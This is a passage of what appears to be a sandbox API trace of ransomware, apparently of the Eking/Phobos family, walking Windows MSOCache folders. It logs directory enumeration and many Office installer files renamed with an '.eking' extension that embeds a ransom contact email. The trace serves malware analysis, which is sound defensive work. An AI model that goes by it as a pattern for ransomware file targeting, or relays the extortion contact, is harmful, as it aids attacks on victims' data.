ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xae1de60, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x323512, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="POWERP~1.EKI")) returned 1 [0194.735] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa935100, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0xa935100, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xa9a7520, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="POWERP~2.EKI")) returned 1 [0194.735] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xbcb2520, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x43da392, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="PPTLRC~1.EKI")) returned 1 [0194.735] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbac3340, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0xbac3340, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xbb0f600, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x852, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="SETUPX~1.EKI")) returned 1 [0194.735] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbac3340, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0xbac3340, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xbb0f600, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x852, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="SETUPX~1.EKI")) returned 0 [0194.735] FindClose (in: hFindFile=0x571038 | out: hFindFile=0x571038) returned 1 [0194.736] GetProcessHeap () returned 0x550000 [0194.736] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6185d8 | out: hHeap=0x550000) returned 1 [0194.736] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe907ee0, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xe907ee0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1 [0194.737] GetProcessHeap () returned 0x550000 [0194.737] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6185d8 [0194.737] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe907ee0, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xe907ee0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x571038 [0194.739] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe907ee0, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xe907ee0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.739] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xd290f40, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x325d12, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="PUBLIS~1.EKI")) returned 1 [0194.739] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xceb2b80, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0xceb2b80, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xe27c260, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="PUBLIS~2.EKI")) returned 1 [0194.739] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xff0ca60, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0xa3f4f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="PUBLRC~1.EKI")) returned 1 [0194.740] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe907ee0, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0xe907ee0, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xe9ec720, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x742, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="SETUPX~1.EKI")) returned 1 [0194.740] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe907ee0, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0xe907ee0, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xe9ec720, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x742, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="SETUPX~1.EKI")) returned 0 [0194.740] FindClose (in: hFindFile=0x571038 | out: hFindFile=0x571038) returned 1 [0194.741] GetProcessHeap () returned 0x550000 [0194.741] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6185d8 | out: hHeap=0x550000) returned 1 [0194.741] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xebb57a0, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xebb57a0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1 [0194.741] GetProcessHeap () returned 0x550000 [0194.741] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6185d8 [0194.741] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xebb57a0, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xebb57a0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x571038 [0194.742] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xebb57a0, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xebb57a0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.742] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xff58d20, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0xee20ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="OUTLKL~1.EKI")) returned 1 [0194.743] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0194.743] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0194.743] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0194.743] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0194.743] FindClose (in: hFindFile=0x571038 | out: hFindFile=0x571038) returned 1 [0194.744] GetProcessHeap () returned 0x550000 [0194.744] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6185d8 | out: hHeap=0x550000) returned 1 [0194.744] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1 [0194.744] GetProcessHeap () returned 0x550000 [0194.744] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6185d8 [0194.744] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x571038 [0194.745] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.745] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0194.745] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0194.745] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0194.745] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0194.745] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0194.745] FindClose (in: hFindFile=0x571038 | out: hFindFile=0x571038) returned 1 [0194.746] GetProcessHeap () returned 0x550000 [0194.746] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6185d8 | out: hHeap=0x550000) returned 1 [0194.746] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1 [0194.746] GetProcessHeap () returned 0x550000 [0194.746] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6185d8 [0194.746] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x571038 [0194.748] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.748] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0194.748] GetProcessHeap () returned 0x550000 [0194.748] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6295e8 [0194.749] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639608 [0194.749] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.749] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0194.749] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0194.749] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0194.749] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0194.749] FindClose (in: hFindFile=0x639608 | out: hFindFile=0x639608) returned 1 [0194.749] GetProcessHeap () returned 0x550000 [0194.749] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6295e8 | out: hHeap=0x550000) returned 1 [0194.750] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0194.750] GetProcessHeap () returned 0x550000 [0194.750] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6295e8 [0194.750] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639608 [0194.753] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 